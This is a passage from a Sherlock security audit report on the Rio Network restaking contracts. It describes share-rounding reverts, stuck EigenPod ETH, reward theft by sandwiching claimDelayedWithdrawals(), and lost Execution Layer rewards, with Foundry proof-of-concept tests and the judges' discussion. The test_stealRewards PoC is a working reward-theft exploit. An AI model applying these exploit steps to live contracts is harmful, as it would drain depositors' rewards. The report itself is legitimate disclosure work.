Now, let's plugin our numbers in the example to calculate how much shares would be minted according to EigenLayer: `virtualTotalShares` = 3232 * 1e18 + 1e3 `virtualTokenBalance` = 3333 * 1e18 + 1e3 `amountUnderlying` = 111 * 1e18

and when we do the math we will calculate the shares to be minted as: 107636363636363636364

Then, the library function will be executed as follows:

```
function depositTokenToOperators(
        IRioLRTOperatorRegistry operatorRegistry,
        address token,
        address strategy,
```


```
        uint256 sharesToAllocate // @review 107636363636363636364 as we
↪   calculated above!
    ) internal returns (uint256 sharesReceived) {
        (uint256 sharesAllocated,
↪   IRioLRTOperatorRegistry.OperatorStrategyAllocation[] memory  allocations) =
↪   operatorRegistry.allocateStrategyShares(
            strategy, sharesToAllocate
        );

        for (uint256 i = 0; i < allocations.length; ++i) {
            IRioLRTOperatorRegistry.OperatorStrategyAllocation memory allocation
↪   = allocations[i];

            IERC20(token).safeTransfer(allocation.delegator, allocation.tokens);
            sharesReceived +=
↪   IRioLRTOperatorDelegator(allocation.delegator).stakeERC20(strategy, token,
↪   allocation.tokens);
        }
        if (sharesReceived != sharesAllocated) revert
↪   INCORRECT_NUMBER_OF_SHARES_RECEIVED();
    }
```

The very first line of the above snippet executes the `operatorRegistry.allocateStrategyShares`, let's examine that:

```
function allocateStrategyShares(address strategy, uint256 sharesToAllocate)
↪   external onlyDepositPool returns (uint256 sharesAllocated,
↪   OperatorStrategyAllocation[] memory allocations) {
       .
       uint256 remainingShares = sharesToAllocate;
       allocations = new OperatorStrategyAllocation[](s.activeOperatorCount);
       while (remainingShares > 0) {
           .
           .
           uint256 newShareAllocation = FixedPointMathLib.min(operatorShares.cap
↪   - operatorShares.allocation, remainingShares);
           uint256 newTokenAllocation =
↪   IStrategy(strategy).sharesToUnderlyingView(newShareAllocation);
           allocations[allocationIndex] = OperatorStrategyAllocation(
               operator.delegator,
               newShareAllocation,
               newTokenAllocation
           );
           remainingShares -= newShareAllocation;
           .
           .
```

```
        }
        sharesAllocated = sharesToAllocate - remainingShares;
        .
        .
    }
```

So, let's value the above snippet aswell considering the cap is not reached. As we can see the how much underlying token needed is again calculated by querying the EigenLayer strategy `sharesToUnderlyingView`, so let's first calculate that:

```
function sharesToUnderlyingView(uint256 amountShares) public view virtual
↪  override returns (uint256) {
        // account for virtual shares and balance
        uint256 virtualTotalShares = totalShares + SHARES_OFFSET;
        uint256 virtualTokenBalance = _tokenBalance() + BALANCE_OFFSET;
        // calculate ratio based on virtual shares and balance, being careful to
↪  multiply before dividing
        return (virtualTokenBalance * amountShares) / virtualTotalShares;
    }
```

Let's put the values to above snippet: `virtualTotalShares` = 3232 * 1e18 + 1e3 `virtualTokenBalance` = 3333 * 1e18 + 1e3 `amountShares` = 10763636363636363636364 **hence, the return value is 110999999999999999999(as you noticed it is not 111 * 1e18 as we expect!)**

`sharesToAllocate` = remainingShares = newShareAllocation = 10763636363636363636364 `newTokenAllocation` = 110999999999999999999 `sharesAllocated` = 107636363636363636364

Now, let's go back to `depositTokenToOperators` function and move with the execution flow:

as we can see the underlying tokens we calculated (110999999999999999999) is deposited to EigenLayer for shares here and then compared in the last line in the if check as follows:

```
for (uint256 i = 0; i < allocations.length; ++i) {
            IRioLRTOperatorRegistry.OperatorStrategyAllocation memory allocation
↪  = allocations[i];

            IERC20(token).safeTransfer(allocation.delegator, allocation.tokens);
            sharesReceived +=
↪  IRioLRTOperatorDelegator(allocation.delegator).stakeERC20(strategy, token,
↪  allocation.tokens);
        }
```


SHERLOCK

```
        if (sharesReceived != sharesAllocated) revert
↪   INCORRECT_NUMBER_OF_SHARES_RECEIVED();
```

`stakeERC20` will stake 110999999999999999999 tokens and in exchange **will receive 107636363636363636363** shares. Then the `sharesReceived` will be compared with the **initial share amount calculation which is 10763636363636363636364**

hence, the last if check will revert because 107636363636363636363 != 10763636363636363636364

Coded PoC:

```
function test_RioRoundingDownPrecision() external pure returns (uint, uint) {
        uint underlyingTokens = 111 * 1e18;
        uint totalUnderlyingTokensInEigenLayer = 3333 * 1e18;
        uint totalSharesInEigenLayer = 3232 * 1e18;
        uint SHARE_AND_BALANCE_OFFSET = 1e3;

        uint virtualTotalShares =  totalSharesInEigenLayer +
↪   SHARE_AND_BALANCE_OFFSET;
        uint virtualTokenBalance = totalUnderlyingTokensInEigenLayer +
↪   SHARE_AND_BALANCE_OFFSET;

        uint underlyingTokensToEigenLayerShares = (underlyingTokens *
↪   virtualTotalShares) / virtualTokenBalance;
        uint eigenSharesToUnderlying = (virtualTokenBalance *
↪   underlyingTokensToEigenLayerShares) / virtualTotalShares;

        // we expect eigenSharesToUnderlying == underlyingTokens, which is not
        require(eigenSharesToUnderlying != underlyingTokens);

        return (underlyingTokensToEigenLayerShares, eigenSharesToUnderlying);
    }
```

Impact

The issue described above can happen frequently as long as the perfect division is not happening when converting shares/assets. In order to solve the issue the amounts and shares has to be perfectly divisible such that the rounding down is not an issue. This can be fixed by owner to airdrop some assets such that this is possible. However, considering how frequent and easy the above scenario can happen and owner needs to do some math to fix the issue, I'll label this as high.

Code Snippet

https://github.com/sherlock-audit/2024-02-rio-vesting-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTDepositPool.sol#L47-L67

https://github.com/sherlock-audit/2024-02-rio-vesting-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTAssetRegistry.sol#L215-L221

https://github.com/Layr-Labs/eigenlayer-contracts/blob/5c192e1a780c22e027f6861f958db90fb9ae263c/src/contracts/strategies/StrategyBase.sol#L211-L243

https://github.com/sherlock-audit/2024-02-rio-vesting-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorOperations.sol#L51-L68

https://github.com/sherlock-audit/2024-02-rio-vesting-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L342-L392

https://github.com/sherlock-audit/2024-02-rio-vesting-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L174-L179

Tool used

Manual Review

Recommendation

Discussion

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/11

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#11.

Fixed The check is removed. To mitigate the differences in the share allocation to operators inside rio and the actual share allocation to operators in eigenlayer, an additional function is added to sync

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-2: Ether can stuck when an operators validators are removed due to an user front-running

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/45

Found by

hash, mstpr-brainbot, zzykxx

Summary

When a full withdrawal occurs in the EigenPod, the excess amount can remain idle within the EigenPod and can only be swept by calling a function in the delegator contract of a specific operator. However, in cases where the owner removes all validators for emergencies or any other reason, a user can frontrun the transaction, willingly or not, causing the excess ETH to become stuck in the EigenPod. The only way to recover the ether would be for the owner to reactivate the validators, which may not be intended since the owner initially wanted to remove all the validators and now needs to add them again.

Vulnerability Detail

Let's assume a Layered Relay Token (LRT) with a beacon chain strategy and only two operators for simplicity. Each operator is assigned two validators, allowing each operator to stake 64 ETH in the PoS staking via the EigenPod.

At any time, the EigenPod owner can update the effective balance of the validators' PoS staking by calling this function: https://github.com/Layr-Labs/eigenlayer-contracts/blob/6de01c6c16d6df44af15f0b06809dc160eac0ebf/src/contracts/pods/EigenPod.sol#L294-L345 This function can be triggered by the owner of the operator registry or proof uploader by invoking this function: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L236-L253

Now, let's consider a scenario where the effective verified balance of the most utilized operator is 64 ETH, and the operator's validators need to be shut down. In such a case, the operator registry admin can call this function to withdraw the entire ETH balance from the operator's delegator: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorRegistry.sol#L163-L165

This function triggers a full withdrawal from the operator's delegator EigenPod. The `queueOperatorStrategyExit` function will withdraw the entire validator balance as follows:

```
if (validatorDetails.cap > 0 && newValidatorCap == 0) {
            // If there are active deposits, queue the operator for strategy
↪   exit.
            if (activeDeposits > 0) {
                -> operatorDetails.queueOperatorStrategyExit(operatorId,
↪   BEACON_CHAIN_STRATEGY);
                .
            }
           .
        } else if (validatorDetails.cap == 0 && newValidatorCap > 0) {
           .
        } else {
           .
        }
```

`operatorDetails.queueOperatorStrategyExit` function will full withdraw the entire validator balance as follows:

```
function queueOperatorStrategyExit(IRioLRTOperatorRegistry.OperatorDetails
↪   storage operator, uint8 operatorId, address strategy) internal {
        IRioLRTOperatorDelegator delegator =
↪   IRioLRTOperatorDelegator(operator.delegator);

        uint256 sharesToExit;
        if (strategy == BEACON_CHAIN_STRATEGY) {
            // Queues an exit for verified validators only. Unverified
↪   validators must by exited once verified,
            // and ETH must be scraped into the deposit pool. Exits are rounded
↪   to the nearest Gwei. It is not
            // possible to exit ETH with precision less than 1 Gwei. We do not
↪   populate `sharesToExit` if the
            // Eigen Pod shares are not greater than 0.
            int256 eigenPodShares = delegator.getEigenPodShares();
            if (eigenPodShares > 0) {
                sharesToExit = uint256(eigenPodShares).reducePrecisionToGwei();
            }
        } else {
            .
        }
        .
    }
```

As observed, the entire EigenPod shares are requested as a withdrawal, which is 64 Ether. However, a user can request a 63 Ether withdrawal before the owner's transaction from the coordinator, which would also trigger a full withdrawal of 64 Ether. In the end, the user would receive 63 Ether, leaving 1 Ether idle in the EigenPod:

```
function
↪  queueETHWithdrawalFromOperatorsForUserSettlement(IRioLRTOperatorRegistry
↪  operatorRegistry, uint256 amount) internal returns (bytes32 aggregateRoot) {
        .
        for (uint256 i = 0; i < length; ++i) {
            address delegator = operatorDepositDeallocations[i].delegator;

            -> // Ensure we do not send more than needed to the withdrawal
↪  queue. The remaining will stay in the Eigen Pod.
            uint256 amountToWithdraw = (i == length - 1) ? remainingAmount :
↪  operatorDepositDeallocations[i].deposits * ETH_DEPOSIT_SIZE;

            remainingAmount -= amountToWithdraw;
            roots[i] = IRioLRTOperatorDelegator(delegator).queueWithdrawalForUse
↪  rSettlement(BEACON_CHAIN_STRATEGY, amountToWithdraw);
        }
        .
    }
```

In such a scenario, the queued amount would be 63 Ether, and 1 Ether would remain idle in the EigenPod. Since the owner's intention was to shut down the validators in the operator for good, that 1 Ether needs to be scraped as well. However, the owner is unable to sweep it due to `MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE`:

```
function scrapeExcessFullWithdrawalETHFromEigenPod() external {
        // @review this is 1 ether
        uint256 ethWithdrawable =
↪  eigenPod.withdrawableRestakedExecutionLayerGwei().toWei();
        // @review this is also 1 ether
        -> uint256 ethQueuedForWithdrawal = getETHQueuedForWithdrawal();
        if (ethWithdrawable <= ethQueuedForWithdrawal +
↪  MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE) {
            revert INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ETH();
        }
        _queueWithdrawalForOperatorExitOrScrape(BEACON_CHAIN_STRATEGY,
↪  ethWithdrawable - ethQueuedForWithdrawal);
    }
```

Which means that owner has to set the validator caps for the operator again to recover that 1 ether which might not be possible since the owner decided to

shutdown the entire validators for the specific operator.

Another scenario from same root cause: 1- There are 64 ether in an operator 2- Someone requests a withdrawal of 50 ether 3- All 64 ether is withdrawn from beacon chain 4- 50 ether sent to the users withdrawal, 14 ether is idle in the EigenPod waiting for someone to call `scrapeExcessFullWithdrawalETHFromEigenPod` 5- An user quickly withdraws 13 ether 6- `withdrawableRestakedExecutionLayerGwei` is 1 ether and `INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ETH` also 1 ether. Which means the 1 ether can't be re-added to deposit pool until someone withdraws.

Coded PoC:

```
// forge test --match-contract RioLRTOperatorDelegatorTest --match-test
↪  test_StakeETHCalledWith0Ether -vv
    function test_StuckEther() public {
        uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry,
↪  address(reETH.rewardDistributor));
        address operatorDelegator =
↪  reETH.operatorRegistry.getOperatorDetails(operatorId).delegator;

        uint256 TVL = 64 ether;
        uint256 WITHDRAWAL_AMOUNT = 63 ether;
        RioLRTOperatorDelegator delegatorContract =
↪  RioLRTOperatorDelegator(payable(operatorDelegator));

        // Allocate ETH.
        reETH.coordinator.depositETH{value: TVL -
↪  address(reETH.depositPool).balance}();


        // Push funds into EigenLayer.
        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);


        // Verify validator withdrawal credentials.
        uint40[] memory validatorIndices =
↪  verifyCredentialsForValidators(reETH.operatorRegistry, operatorId, 2);


        // Verify and process two full validator exits.
        verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator,
↪  validatorIndices);

        // Withdraw some funds.
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS, WITHDRAWAL_AMOUNT);
```


SHERLOCK

```
        uint256 withdrawalEpoch =
↪   reETH.withdrawalQueue.getCurrentEpoch(ETH_ADDRESS);

        // Skip ahead and rebalance to queue the withdrawal within EigenLayer.
        skip(reETH.coordinator.rebalanceDelay());

        vm.prank(EOA, EOA);
        reETH.coordinator.rebalance(ETH_ADDRESS);

        // Verify and process two full validator exits.
        verifyAndProcessWithdrawalsForValidatorIndexes(operatorDelegator,
↪   validatorIndices);

        // Settle with withdrawal epoch.
        IDelegationManager.Withdrawal[] memory withdrawals = new
↪   IDelegationManager.Withdrawal[](1);
        withdrawals[0] = IDelegationManager.Withdrawal({
            staker: operatorDelegator,
            delegatedTo: address(1),
            withdrawer: address(reETH.withdrawalQueue),
            nonce: 0,
            startBlock: 1,
            strategies: BEACON_CHAIN_STRATEGY.toArray(),
            shares: WITHDRAWAL_AMOUNT.toArray()
        });
        reETH.withdrawalQueue.settleEpochFromEigenLayer(ETH_ADDRESS,
↪   withdrawalEpoch, withdrawals, new uint256[](1));

        vm.expectRevert(bytes4(keccak256("INSUFFICIENT_EXCESS_FULL_WITHDRAWAL_ET
↪   H()")));
        delegatorContract.scrapeExcessFullWithdrawalETHFromEigenPod();
    }
```

Impact

Owner needs to set the caps again to recover the 1 ether. However, the validators are removed for a reason and adding operators again would probably be not intended since it was a shutdown. Hence, I'll label this as medium.

Code Snippet

https://github.com/Layr-Labs/eigenlayer-contracts/blob/6de01c6c16d6df44af15f0b06809dc160eac0ebf/src/contracts/pods/EigenPod.sol#L294-L345

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restakin

g/RioLRTOperatorRegistry.sol#L236-L253

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L276-L319

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L225-L227

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorRegistryV1Admin.sol#L144-L165

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L253-L273

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTCoordinator.sol#L99-L116

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/utils/OperatorOperations.sol#L88-L107

https://github.com/sherlock-audit/2024-02-rio-network-core-protocol/blob/4f01e065c1ed346875cf5b05d2b43e0bcdb4c849/rio-sherlock-audit/contracts/restaking/RioLRTOperatorDelegator.sol#L160-L167

Tool used

Manual Review

Recommendation

Make an emergency function which owner can scrape the excess eth regardless of `MIN_EXCESS_FULL_WITHDRAWAL_ETH_FOR_SCRAPE`

Discussion

nevillehuang

Borderline Medium/Low, leaving open for discussion. I think I agree with watsons, unless there is someway to retrieve the potentially locked ETH.

solimander

Accepted risk of design, though considering adding an emergency scrape function to avoid the possible annoyance.

nevillehuang

I believe this risk should have been mentioned in contest details, so leaving as medium severity.

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/9

10xhash

> The protocol team fixed this issue in PR/commit rio-org/rio-sherlock-audit#9.

Fixed Added a function which lets the admin withdraw the entire restaked withdrawn ETH from eigenpod

sherlock-admin4

The Lead Senior Watson signed off on the fix.

Issue M-3: A part of ETH rewards can be stolen by sandwiching `claimDelayedWithdrawals()`

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/52

The protocol has acknowledged this issue.

Found by

araj, aslanbek, cats, giraffe, pontifex, zzykxx

Summary

Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals().

Vulnerability Detail

The protocol handles ETH rewards by sending them to the rewards distributor. There are at least 3 flows that end-up sending funds there:

1. When the function RioLRTOperatorDelegator::scrapeNonBeaconChainETHFromEigenPod() is called to scrape non beacon chain ETH from an Eigenpod.
2. When a validator receives rewards via partial withdrawals after the function EigenPod::verifyAndProcessWithdrawals() is called.
3. When a validator exists and has more than 32ETH the excess will be sent as rewards after the function EigenPod::verifyAndProcessWithdrawals() is called.

All of these 3 flows end up queuing a withdrawal to the rewards distributor. After a delay the rewards can claimed by calling the permissionless function EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), this call will instantly increase the TVL of the protocol.

An attacker can take advantage of this to steal a part of the rewards:

1. Mint a sensible amount of `LRTTokens` by depositing an accepted asset
2. Call EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), after which the value of the `LRTTokens` just minted will immediately increase.
3. Request a withdrawal for all the `LRTTokens` via RioLRTCoordinator::requestWithdrawal().

SHERLOCK

POC

Change RioLRTRewardsDistributor::receive() (to side-step a gas limit bug:

```
receive() external payable {
    (bool success,) = address(rewardDistributor()).call{value: msg.value}('');
    require(success);
}
```

Add the following imports to `RioLRTOperatorDelegator`:

```
import {IRioLRTWithdrawalQueue} from
↪  'contracts/interfaces/IRioLRTWithdrawalQueue.sol';
import {IRioLRTOperatorRegistry} from
↪  'contracts/interfaces/IRioLRTOperatorRegistry.sol';
import {CredentialsProofs, BeaconWithdrawal} from
↪  'test/utils/beacon-chain/MockBeaconChain.sol';
```

To copy-paste in `RioLRTOperatorDelegator.t.sol`:

```
function test_stealRewards() public {
    address alice = makeAddr("alice");
    address bob = makeAddr("bob");
    uint256 aliceInitialBalance = 40e18;
    uint256 bobInitialBalance = 40e18;
    deal(alice, aliceInitialBalance);
    deal(bob, bobInitialBalance);
    vm.prank(alice);
    reETH.token.approve(address(reETH.coordinator), type(uint256).max);
    vm.prank(bob);
    reETH.token.approve(address(reETH.coordinator), type(uint256).max);

    //->Operator delegator and validators are added to the protocol
    uint8 operatorId = addOperatorDelegator(reETH.operatorRegistry,
↪   address(reETH.rewardDistributor));
    RioLRTOperatorDelegator operatorDelegator =
        RioLRTOperatorDelegator(payable(reETH.operatorRegistry.getOperatorDetail
↪   s(operatorId).delegator));

    //-> Alice deposits ETH in the protocol
    vm.prank(alice);
    reETH.coordinator.depositETH{value: aliceInitialBalance}();

    //-> Rebalance is called and the ETH deposited in a validator
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);
```


SHERLOCK

```
    //-> Create a new validator with a 40ETH balance and verify his credentials.
    //-> This is to "simulate" rewards accumulation
    uint40[] memory validatorIndices = new uint40[](1);
    IRioLRTOperatorRegistry.OperatorPublicDetails memory details =
↪   reETH.operatorRegistry.getOperatorDetails(operatorId);
    bytes32 withdrawalCredentials = operatorDelegator.withdrawalCredentials();
    beaconChain.setNextTimestamp(block.timestamp);
    CredentialsProofs memory proofs;
    (validatorIndices[0], proofs) = beaconChain.newValidator({
        balanceWei: 40 ether,
        withdrawalCreds: abi.encodePacked(withdrawalCredentials)
    });

    //-> Verify withdrawal crendetials
    vm.prank(details.manager);
    reETH.operatorRegistry.verifyWithdrawalCredentials(
        operatorId,
        proofs.oracleTimestamp,
        proofs.stateRootProof,
        proofs.validatorIndices,
        proofs.validatorFieldsProofs,
        proofs.validatorFields
    );

    //-> A full withdrawal for the validator is processed, 8ETH (40ETH - 32ETH)
↪   will be queued as rewards
    verifyAndProcessWithdrawalsForValidatorIndexes(address(operatorDelegator),
↪   validatorIndices);

    //-> Bob, an attacker, does the following:
    //      1. Deposits 40ETH and receives ~40e18 LRTTokens
    //      2. Cliam the withdrawal for the validator, which will instantly
↪   increase the TVL by ~7.2ETH
    //      3. Requests a withdrawal with all of the LRTTokens
    {
        //1. Deposits 40ETH and receives ~40e18 LRTTokens
        vm.startPrank(bob);
        reETH.coordinator.depositETH{value: bobInitialBalance}();

        //2. Cliam the withdrawal for the validator, which will instantly
↪   increase the TVL by ~7.2ETH
        uint256 TVLBefore = reETH.assetRegistry.getTVL();

↪   delayedWithdrawalRouter.claimDelayedWithdrawals(address(operatorDelegator),
↪   1);
        uint256 TVLAfter = reETH.assetRegistry.getTVL();
```


```
        //->TVL increased by 7.2ETH
        assertEq(TVLAfter - TVLBefore, 7.2e18);

        //3. Requests a withdrawal with all of the LRTTokens
        reETH.coordinator.requestWithdrawal(ETH_ADDRESS,
↪   reETH.token.balanceOf(bob));
        vm.stopPrank();
    }

    //-> Wait and rebalance
    skip(reETH.coordinator.rebalanceDelay());
    vm.prank(EOA, EOA);
    reETH.coordinator.rebalance(ETH_ADDRESS);

    //-> Bob withdraws the funds he requested
    vm.prank(bob);
    reETH.withdrawalQueue.claimWithdrawalsForEpoch(IRioLRTWithdrawalQueue.ClaimR
↪   equest({asset: ETH_ADDRESS, epoch: 0}));

    //-> Bob has stole ~50% of the rewards and has 3.59ETH more than he
↪   initially started with
    assertGt(bob.balance, bobInitialBalance);
    assertEq(bob.balance - bobInitialBalance, 3599550056000000000);
}
```

Impact

Rewards can be stolen by sandwiching the call to EigenLayer::DelayedWithdrawalRouter::claimDelayedWithdrawals(), however this requires a bigger investment in funds the higher the protocol TVL.

Code Snippet

Tool used

Manual Review

Recommendation

When requesting withdrawals via RioLRTCoordinator::requestWithdrawal() don't distribute the rewards received in the current epoch.

SHERLOCK

Discussion

KupiaSecAdmin

Escalate

This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. `claimDelayedWithdrawals` should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

sherlock-admin2

> Escalate
>
> This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. `claimDelayedWithdrawals` should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

0xcats

> Escalate
>
> This should be considered as Invalid. The logic is pretty natural and this sandwiching can not be considered as attack. `claimDelayedWithdrawals` should be called at some point by anyone, and minting transactions come before the claim transaction and requestWithdrawal transactions come after claim transaction is natural logic.

You can take a look at my issue of #22.

I don't really understand how you can say this is natural and that sandwiching is not considered an attack? Honest users have absolutely no incentive to stake their funds for continuous periods of time if anyone can just come and front-run reward distribution and steal rewards.

nevillehuang

I'm also unsure how this is considered normal logic unless otherwise stated as an known risk, which is not. Any user diluting rewards/stealing rewards seems fair to be valid to me.

Czar102

I agree with @0xcats and @nevillehuang. Planning to reject the escalation and leave the issue as is.

Czar102

Result: Medium Has duplicates

sherlock-admin3

Escalations have been resolved successfully!

Escalation status:

- KupiaSecAdmin: rejected

Issue M-4: Execution Layer rewards are lost

Source: https://github.com/sherlock-audit/2024-02-rio-network-core-protocol-judging/issues/174

Found by

fnanni

Summary

According to Rio Network Docs: "The Reward Distributor contract (RioLRTRewardDistributor) has the ability to receive ETH via the Ethereum Execution Layer or EigenPod rewards and then distribute those rewards". However, this is only true for EigenPod rewards. Execution Layer rewards are not accounted for and lost.

Vulnerability Detail

Execution Layer rewards are not distributed through plain ETH transfers. Instead the balance of the block proposer fee recipient's address is directly updated. If the fee recipient getting the EL rewards is a smart contract, this means that the fallback/receive function is not called. Actually, a smart contract could receive EL rewards even if these functions are not defined.

The RioLRTRewardDistributor contract relies solely on its receive function to distribute rewards. EL rewards which don't trigger this function are not accounted in the smart contract and there is no way of distributing them.

Impact

Execution Layer rewards are lost.

Code Snippet

Tool used

Manual Review

Recommendation

Add a method to manually distribute EL rewards. For example:

```
function distributeRemainingBalance() external {
    uint256 value = address(this).balance;
```


SHERLOCK

```
    uint256 treasuryShare = value * treasuryETHValidatorRewardShareBPS / MAX_BPS;
    uint256 operatorShare = value * operatorETHValidatorRewardShareBPS / MAX_BPS;
    uint256 poolShare = value - treasuryShare - operatorShare;

    if (treasuryShare > 0) treasury.transferETH(treasuryShare);
    if (operatorShare > 0) operatorRewardPool.transferETH(operatorShare);
    if (poolShare > 0) address(depositPool()).transferETH(poolShare);

    emit ETHValidatorRewardsDistributed(treasuryShare, operatorShare, poolShare);
}
```

Discussion

nevillehuang

request poc

I need more information/resources for this issue so need to facilitate discussion.

sherlock-admin3

PoC requested from @fnanni-0

Requests remaining: **6**

fnanni-0

@nevillehuang I forgot to link to the Rio docs: https://docs.rio.network/rio-architecture/deposits-and-withdraws/reward-distributor. Can we get @solimander input here? Reading this issue again, there is a chance I misunderstood the docs. Is the Reward Distributor contract expected to be able to receive Execution Layer rewards, i.e. be set as blocks fee_recipient address?

If the answer is yes: From the Solidity docs: "A contract without a receive Ether function can receive Ether as a recipient of a coinbase transaction". The recipient of a coinbase transaction post-merge is the address defined by the block proposer in the `fee_recipient` field of the Execution Payload. According to https://eth2book.info/capella/annotated-spec/ :

> fee_recipient is the Ethereum account address that will receive the unburnt portion of the transaction fees (the priority fees). This has been called various things at various times: the original Yellow Paper calls it beneficiary; EIP-1559 calls it author. In any case, the proposer of the block sets the fee_recipient to specify where the appropriate transaction fees for the block are to be sent. Under proof of work this was the same address as the COINBASE address that received the block reward. Under proof of stake, the block reward is credited to the validator's

> beacon chain balance, and **the transaction fees are credited to the fee_recipient Ethereum address**.

As an example go to etherscan and select any block recently produced. Check the fee recipient address. Check how its ETH balance is updated ("credited") at every transaction included in the block even though there is no explicit transaction to the fee recipient address (for example, balance update of beaverbuild here).

solimander

Our operators will run MEV-Boost, which sets the fee recipient to the builder, who then transfers rewards to the proposer, which triggers the receive function.

However, it seems worth adding a function to manually push rewards just in case. How does that affect severity here?

fnanni-0

@solimander I have a few questions:

1. If mev-boost isn't available for a given block (for example there's a timeout), doesn't mev-boost fallback to a validator's local block proposal? See this comment about Teku's client for instance (or Teku's docs). In such case, fee_recipient would be the proposer address, not the builder's address.
2. The flow you described is the current standarized payment method for mev-boost. I wonder if this could change or if there are other builder networks handling this differently. If so, I think it's risky to assume that the proposer address will always receive rewards through direct transfers.
3. Isn't it likely that Ethereum upgrades in the future to better support Proposer-Builder Separation? If this happens, there's a chance the proposer address gets credited, not triggering the receive function.

solimander

> If mev-boost isn't available for a given block (for example there's a timeout), doesn't mev-boost fallback to a validator's local block proposal? See https://github.com/flashbots/mev-boost/issues/222#issuecomment-1202401149 about Teku's client for instance (or Teku's docs). In such case, fee_recipient would be the proposer address, not the builder's address.

I'm unsure, but that'd make sense. I'll be adding a function to manually split and push rewards regardless.

nevillehuang

This issue seems out of scope and hinges on external admin integrations. But leaving open for escalation period

sherlock-admin4

The protocol team fixed this issue in the following PRs/commits:
https://github.com/rio-org/rio-sherlock-audit/pull/6

10xhash

Escalate

The info that the RioLRTRewardDistributor is meant to receive the execution layer rewards is not mentioned anywhere. The mentioned docs state `The Reward Distributor contract (RioLRTRewardDistributor) has the ability to receive ETH via the Ethereum Execution Layer or EigenPod rewards and then distribute those rewards`, which only indicates that the RioLRTRewardDistributor should be able to receive ETH which it does.

sherlock-admin2

> Escalate
>
> The info that the RioLRTRewardDistributor is meant to receive the execution layer rewards is not mentioned anywhere. The mentioned docs state `The Reward Distributor contract (RioLRTRewardDistributor) has the ability to receive ETH via the Ethereum Execution Layer or EigenPod rewards and then distribute those rewards`, which only indicates that the RioLRTRewardDistributor should be able to receive ETH which it does.

You've created a valid escalation!

To remove the escalation from consideration: Delete your comment.

You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.

fnanni-0

I disagree. The Reward Distributor is expected to receive and distribute rewards. “the ability to receive ETH via the Ethereum Execution Layer or EigenPod rewards”, in this context, seems to mean Execution Layer rewards, which the sponsor confirmed. EL rewards are credited, not transferred, and therefore cannot be currently distributed.

Following up on the prior discussion with the sponsor, regarding operators' obligation to use mev-boost: builders replace the proposer's fee recipient address with their own and directly transfer funds to the former, triggering the receive function. mev-boost is not mentioned in Rio’s docs, but still EL rewards will sometimes be lost:

1. if the builder network becomes unavailable through the configured relays for whatever reason, validator clients fallback to local block production in order to

avoid missing a block proposal.

2. mev-boost accepts a minimum bid parameter (see this and this). If set, the process will fallback to local block production every time bids from the builder network don't surpass this threshold.
